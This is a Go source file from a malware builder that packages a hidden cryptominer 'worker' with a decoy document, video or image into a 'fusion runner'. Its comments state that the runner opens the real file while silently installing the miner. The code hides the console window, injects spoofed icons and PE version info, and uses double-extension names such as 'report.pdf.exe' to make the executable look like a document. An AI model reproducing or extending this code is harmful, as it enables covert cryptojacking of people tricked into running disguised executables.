package builder

import (
	"context"
	"encoding/json"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"strings"
)

type fusionBuildResult struct {
	LauncherPath string
	MediaName    string
	// Legacy fields kept for backward compat — unused in file-fusion mode
	EncryptedPath string
	ShortcutPath  string
}

// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else.
// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app.
func detectFusionPayloadKind(path string) string {
	if strings.EqualFold(filepath.Ext(path), ".exe") {
		return "exe"
	}
	return "file"
}

// buildFusionFromRequest builds a fusion runner for the first platform in the request.
func (h *Handler) buildFusionFromRequest(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
	platforms := platformsForRequest(req)
	return h.buildFusionForPlatform(ctx, buildDir, payloadPath, workerPath, req, platforms[0])
}

// buildFusionForPlatform compiles a fusion runner for a single platform.
// Accepts any payload: PDF, video, document, image, or executable.
func (h *Handler) buildFusionForPlatform(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
	kind := strings.TrimSpace(req.FusionPayloadKind)
	if kind == "" {
		kind = detectFusionPayloadKind(payloadPath)
	}
	req.FusionPayloadKind = kind
	return h.buildFileFusion(ctx, buildDir, payloadPath, workerPath, req, platform)
}

// buildFileFusion builds a universal fusion runner for any file type.
//
// Delivery modes:
//   - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB)
//   - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size)
//
// The runner, when executed, opens the original file with the OS default application
// while silently installing the worker miner in the background.
func (h *Handler) buildFileFusion(ctx context.Context, buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) {
	mode := normalizeFusionMediaMode(req.FusionMediaMode)

	// Resolve the display name for the payload file
	mediaName := strings.TrimSpace(req.FusionMediaBaseName)
	if mediaName == "" {
		mediaName = filepath.Base(payloadPath)
	}
	mediaName = sanitizeFileName(mediaName)

	// Resolve the runner output name
	outputName := strings.TrimSpace(req.FusionOutputName)
	if outputName == "" {
		outputName = runnerNameForFile(mediaName, platform)
	} else {
		// Ensure correct extension for this platform
		if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) {
			outputName += platform.Ext
		} else if platform.Ext == "" {
			outputName = strings.TrimSuffix(outputName, ".exe")
		}
	}
	outputName = sanitizeFileName(outputName)

	kind := req.FusionPayloadKind
	if kind == "" {
		kind = detectFusionPayloadKind(payloadPath)
	}

	fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName)
	if err != nil {
		return nil, err
	}
	assetsDir := filepath.Join(fusionDir, "assets")

	// Write worker binary into assets
	if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil {
		return nil, err
	}

	// Write payload according to delivery mode
	switch mode {
	case "embedded":
		// Bake the payload into the runner binary as assets/payload.bin
		if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil {
			return nil, err
		}
		// Keep legacy placeholders so the embed directive compiles cleanly
		if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
			return nil, err
		}
		if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
			return nil, err
		}
	default: // "paired"
		// Empty placeholders — payload ships alongside the runner in the ZIP
		if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil {
			return nil, err
		}
		if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
			return nil, err
		}
		if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
			return nil, err
		}
	}

	// Write manifest for the runner to read at runtime
	manifestFields := map[string]string{
		"payload_kind":    kind,
		"media_mode":      mode,
		"media_file_name": mediaName,
	}
	if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
		return nil, err
	}

	launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName))
	ldflags := ldflagsFor(req, platform)
	// Force GUI subsystem (no console window) for all fusion runners
	if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") {
		ldflags += " -H windowsgui"
	}
	if _, err := h.compileGoProjectPlatform(ctx, fusionDir, launcherPath, ldflags, nil, false, platform); err != nil {
		return nil, err
	}

	// Windows: inject the system icon + spoofed PE version info so the runner
	// looks exactly like the real file type (PDF icon, Word icon, etc.)
	if platform.GOOS == "windows" && kind != "exe" {
		payloadExt := strings.ToLower(filepath.Ext(mediaName))
		if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil {
			// Non-fatal — runner still works without the disguise
			log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err)
		}
	}

	return &fusionBuildResult{
		LauncherPath: launcherPath,
		MediaName:    mediaName,
	}, nil
}

// prepareFusionProject copies the fusion source into a temp build dir with baked constants.
func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
	fusionSrc := filepath.Join(h.projectRoot, "fusion")
	if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
		return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
	}

	fusionDir := filepath.Join(buildDir, "fusion")
	assetsDir := filepath.Join(fusionDir, "assets")
	if err := os.MkdirAll(assetsDir, 0755); err != nil {
		return "", err
	}

	mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
	if err != nil {
		return "", err
	}
	mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
	if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
		return "", err
	}

	for _, name := range []string{
		"go.mod", "launch_windows.go", "launch_stub.go",
		"media_windows.go", "media_linux.go", "media_darwin.go",
		"media_crypto.go", "cache_windows.go", "cache_unix.go",
		"lock_hint_windows.go", "lock_hint_stub.go",
	} {
		src := filepath.Join(fusionSrc, name)
		if _, err := os.Stat(src); err != nil {
			continue
		}
		if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
			return "", err
		}
	}
	return fusionDir, nil
}

func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
	order := normalizeFusionOrder(runOrder)
	out := string(src)
	repl := map[string]string{
		`"FUSION_RUN_ORDER"`:    fmt.Sprintf("%q", order),
		`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
		`"FUSION_MEDIA_MODE"`:   fmt.Sprintf("%q", mediaMode),
		`"FUSION_MEDIA_FILE"`:   fmt.Sprintf("%q", mediaFileName),
	}
	for old, newVal := range repl {
		out = strings.Replace(out, old, newVal, 1)
	}
	return []byte(out)
}

func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
	return writeFusionManifestEx(assetsDir, map[string]string{
		"payload_kind":    payloadKind,
		"media_mode":      mediaMode,
		"media_file_name": mediaFileName,
	})
}

func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
	raw, err := json.Marshal(fields)
	if err != nil {
		return err
	}
	return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
}

func normalizeFusionMediaMode(mode string) string {
	switch strings.ToLower(strings.TrimSpace(mode)) {
	case "embedded":
		return "embedded"
	default:
		return "paired"
	}
}

// runnerNameForFile generates the output runner binary name for a given payload filename.
//
// On Windows, non-exe payloads use the double-extension trick:
//
//	"quarterly-report.pdf" → "quarterly-report.pdf.exe"
//
// When Windows hides known file extensions (the OS default), the user sees
// "quarterly-report.pdf" with the injected PDF icon — visually identical to the
// real document. After applyDocumentDisguise runs, the PE metadata also matches.
//
// On Linux/macOS the runner uses a simple "-runner" suffix (these platforms
// wrap the binary in a .app bundle or the user is expected to chmod+x it).
func runnerNameForFile(mediaName string, platform BuildPlatform) string {
	ext := strings.ToLower(filepath.Ext(mediaName))
	base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
	if base == "" {
		base = "runner"
	}
	if platform.GOOS == "windows" {
		// Use disguisedRunnerName which handles double-extension and sanitisation
		return disguisedRunnerName(mediaName)
	}
	// Linux / macOS: simple "-runner" name, no double extension
	name := sanitizeFileName(base + "-runner")
	_ = ext // extension not needed for Unix names
	if platform.Ext != "" {
		return name + platform.Ext
	}
	return name
}

// fusionExportSubdir returns the output subfolder name for the deliverable.
func fusionExportSubdir(req *BuildRequest, mediaName string) string {
	if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
		return sanitizeDirName(s)
	}
	base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
	if base == "" {
		base = strings.TrimSuffix(filepath.Base(req.FusionOutputName), filepath.Ext(req.FusionOutputName))
	}
	if base == "" {
		base = sanitizeFileName(req.WorkerName)
	}
	return sanitizeDirName(base)
}

func (h *Handler) publishFusionDeliverable(subdir string, artifacts map[string]string, readme fusionReadmeInfo) (string, error) {
	subdir = sanitizeDirName(subdir)
	if subdir == "" || h.projectRoot == "" || h.projectRoot == "." {
		return "", nil
	}
	destDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
	if err := os.MkdirAll(destDir, 0755); err != nil {
		return "", fmt.Errorf("failed to create fusion deliverables folder: %w", err)
	}
	for name, src := range artifacts {
		if src == "" {
			continue
		}
		dest := filepath.Join(destDir, sanitizeFileName(name))
		if err := copyFile(src, dest); err != nil {
			return "", fmt.Errorf("failed to export %s: %w", name, err)
		}
	}
	readmePath := filepath.Join(destDir, "README.txt")
	if err := os.WriteFile(readmePath, []byte(formatFusionReadme(readme)), 0644); err != nil {
		return "", fmt.Errorf("failed to write README.txt: %w", err)
	}
	log.Printf("[Builder] Fusion deliverables -> %s", destDir)
	return destDir, nil
}

func sanitizeDirName(name string) string {
	name = strings.TrimSpace(name)
	if name == "" {
		return ""
	}
	name = filepath.Base(name)
	var b strings.Builder
	for _, r := range name {
		switch {
		case r >= 'a' && r <= 'z', r >= 'A' && r <= 'Z', r >= '0' && r <= '9', r == '-', r == '_', r == ' ', r == '.':
			if r == ' ' {
				b.WriteRune('_')
			} else {
				b.WriteRune(r)
			}
		}
	}
	out := strings.Trim(b.String(), "._")
	if out == "" {
		return "title"
	}
	return out
}
